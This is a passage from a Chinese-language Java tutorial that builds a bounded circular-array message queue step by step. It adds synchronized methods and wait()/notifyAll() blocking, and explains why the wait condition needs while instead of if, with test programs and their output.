        if (isFull()) {
            throw new RuntimeException("队列已经满了");
        }
        data[tail] = e;
        tail = (tail + 1) % size;
        if (tail == front) {
            flag = 1;
        }

        return true;
    }

    /**
     * 出队操作
     * @return
     */
    public T poll() {
        if (isEmpty()) {
            throw new RuntimeException("队列中没有元素");
        }
        T rtnData = data[front];
        front = (front + 1) % size;
        if (front == tail) {
            flag = 0;
        }
        return rtnData;
    }
}

在类的开始,我们分别定义了,循环数组,数组的长度,入队下标,出队下标,还有一个非常重要的变量
flag
,它表示导致front == tail的原因,0代表出队,1代表入队。这里我们初始化为0,因为队列初始化的时候是空的,而且front == tail,这样我们判断
isEmpty()
的时候也是正确的。

接下来是构造方法,在构造方法中,我们定义了入参
size
,也就是队列的长度,其实就是我们循环数组的长度,并且对循环数组进行了初始化。

再下面就是判断队列空和满的方法,实现也非常的简单,就是依照
上一小节
的原理。

然后就是入队操作,入队操作要先判断队列是不是已经满了,如果满了,我们进行报错,不进行入队的操作。有的同学可能会说,这里应该等待,等待队列有空位了再去执行。这种说法是非常正确的,我们先把最基础的队列写完,后面还会再完善,大家不要着急。下面就是对循环数组的tail元素进行赋值,赋值后,使用我们的公式移动tail下标,tail到达最后一个元素时,通过公式计算,可以回到第0个元素。最后再判断一下,这个入队操作是不是导致了front==tail,如果导致了,就将flag置为1。

出队操作和入队操作类似,只不过是取值的步骤,这里不给大家详细解释了。

我们做个简单的测试吧,

 public static void main(String[] args) {
        MyQueue<String> myQueue = new MyQueue<>(5);
        System.out.println("isFull:"+myQueue.isFull()+" isEmpty:"+myQueue.isEmpty());
        myQueue.add("a");
        System.out.println("isFull:"+myQueue.isFull()+" isEmpty:"+myQueue.isEmpty());
        myQueue.add("b");
        myQueue.add("c");
        myQueue.add("d");
        myQueue.add("e");
        System.out.println("isFull:"+myQueue.isFull()+" isEmpty:"+myQueue.isEmpty());
        myQueue.add("f");
    }

我们定义长度是5的队列,分别加入
a b c d e f
6个元素,并且看一下空和满的状态。

打印日志如下:

isFull:false isEmpty:true
isFull:false isEmpty:false
isFull:true isEmpty:false
Exception in thread "main" java.lang.RuntimeException: 队列已经满了
	at org.example.queue.MyQueue.add(MyQueue.java:29)
	at org.example.queue.MyQueue.main(MyQueue.java:82)

空和满的状态都是对的,而且再插入f元素的时候,报错了”队列已经满了“,是没有问题的。出队的测试这里就不做了,留个小伙伴们去做吧。

并发与等待

队列的基础代码已经实现了,我们再看看有没有其他的问题。对了,第一个问题就是
并发
,我们多个线程同时入队或者出队时,就会引发问题,那么怎么办呢?其实也很简单,加上
synchronized
关键字就可以了,如下:

/**
 * 入队操作
 * @param e
 * @return
 */
public synchronized boolean add(T e) {
    if (isFull()) {
        throw new RuntimeException("队列已经满了");
    }
    data[tail] = e;
    tail = (tail + 1) % size;
    if (tail == front) {
        flag = 1;
    }

    return true;
}

/**
 * 出队操作
 * @return
 */
public synchronized T poll() {
    if (isEmpty()) {
        throw new RuntimeException("队列中没有元素");
    }
    T rtnData = data[front];
    front = (front + 1) % size;
    if (front == tail) {
        flag = 0;
    }
    return rtnData;
}

这样入队出队操作就不会有并发的问题了。下面我们再去解决上面小伙伴提出的问题,就是入队时,队列满了要等待,出队时,队列空了要等待,这个要怎么解决呢?这里要用的
wait()

notifyAll()
了,再进行编码前,我们先理清一下思路,

  1. 目前队列的长度是5,并且已经满了;
  2. 现在要向队列插入第6个元素,插入时,判断队列满了,要进行等待
    wait()
    ;
  3. 此时有一个出队操作,队列有空位了,此时应该唤起之前等待的线程,插入元素;

相反的,出队时,队列是空的,也要等待,当队列有元素时,唤起等待的线程,进行出队操作。好了,撸代码,

/**
 * 入队操作
 * @param e
 * @return
 */
public synchronized boolean add(T e) throws InterruptedException {
    if (isFull()) {
        wait();
    }
    data[tail] = e;
    tail = (tail + 1) % size;
    if (tail == front) {
        flag = 1;
    }
    notifyAll();
    return true;
}

/**
 * 出队操作
 * @return
 */
public synchronized T poll() throws InterruptedException {
    if (isEmpty()) {
        wait();
    }
    T rtnData = data[front];
    front = (front + 1) % size;
    if (front == tail) {
        flag = 0;
    }
    notifyAll();
    return rtnData;
}

之前我们抛异常的地方,统一改成了
wait()
,而且方法执行到最后进行
notifyAll()
,唤起等待的线程。我们进行简单的测试,

public static void main(String[] args) throws InterruptedException {
    MyQueue<String> myQueue = new MyQueue<>(5);
    new Thread(() -> {
        try {
            System.out.println(myQueue.poll());
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
    }).start();

    myQueue.add("a");
}

测试结果没有问题,可以正常打印"a"。这里只进行了出队的等待测试,入队的测试,小伙伴们自己完成吧。

if还是while

到这里,我们手撸的消息队列还算不错,基本的功能都实现了,但是有没有什么问题呢?我们看看下面的测试程序,

public static void main(String[] args) throws InterruptedException {
    MyQueue<String> myQueue = new MyQueue<>(5);
    new Thread(() -> {
        try {
            System.out.println(myQueue.poll());
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
    }).start();
    new Thread(() -> {
        try {
            System.out.println(myQueue.poll());
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
    }).start();

    Thread.sleep(5000);
    myQueue.add("a");
}

我们启动了两个消费者线程,同时从队列里获取数据,此时,队列是空的,两个线程都进行等待,5秒后,我们插入元素"a",看看结果如何,

a
null

结果两个消费者都打印出了日志,一个获取到null,一个获取到”a“,这是什么原因呢?还记得我们怎么判断空和满的吗?对了,使用的是
if
,我们捋一下整体的过程,

  1. 两个消费者线程同时从队列获取数据,队列是空的,两个消费者通过
    if
    判断,进入等待;
  2. 5秒后,向队列中插入"a"元素,并唤起所有等待线程;
  3. 两个消费者线程被依次唤起,一个取到值,一个没有取到。没有取到是因为取到的线程将front加了1导致的。这里为什么说依次唤起等待线程呢?因为
    notifyAll()
    不是同时唤起所有等待线程,是依次唤起,而且顺序是不确定的。

我们希望得到的结果是,一个消费线程得到”a“元素,另一个消费线程继续等待。这个怎么实现呢?对了,就是将判断是用到的
if
改为
while
,如下:

/**
 * 入队操作
 * @param e
 * @return
 */
public synchronized boolean add(T e) throws InterruptedException {
    while (isFull()) {
        wait();
    }
    data[tail] = e;
    tail = (tail + 1) % size;
    if (tail == front) {
        flag = 1;
    }
    notifyAll();
    return true;
}

/**
 * 出队操作
 * @return
 */
public synchronized T poll() throws InterruptedException {
    while (isEmpty()) {
        wait();
    }
    T rtnData = data[front];
    front = (front + 1) % size;
    if (front == tail) {
        flag = 0;
    }
    notifyAll();
    return rtnData;
}

在判断空还是满的时候,我们使用
while
去判断,当两个消费线程被依次唤起时,还会再进行空和满的判断,这时,第一个消费线程判断队列中有元素,会进行获取,第二个消费线程被唤起时,判断队列没有元素,会再次进入等待。我们写段代码测试一下,

public static void main(String[] args) throws InterruptedException {
    MyQueue<String> myQueue = new MyQueue<>(5);
    new Thread(() -> {
        try {
            System.out.println(myQueue.poll());
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
    }).start();
    new Thread(() -> {
        try {
            System.out.println(myQueue.poll());
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
    }).start();

    Thread.sleep(5000);
    myQueue.add("a");
    Thread.sleep(5000);
    myQueue.add("b");
}

同样,有两个消费线程去队列获取数据,此时队列为空,然后,我们每隔5秒,插入一个元素,看看结果如何,

a
b

10秒过后,插入的两个元素正常打印,说明我们的队列没有问题。入队的测试,大家自己进行吧。

总结

好了,我们手撸的消息队列完成了,看看都有哪些重点吧,

  1. 循环数组;
  2. 数组下标的计算,用取模法;
  3. 队列空与满的判断,注意flag;
  4. 并发;
  5. 唤起线程注意使用
    while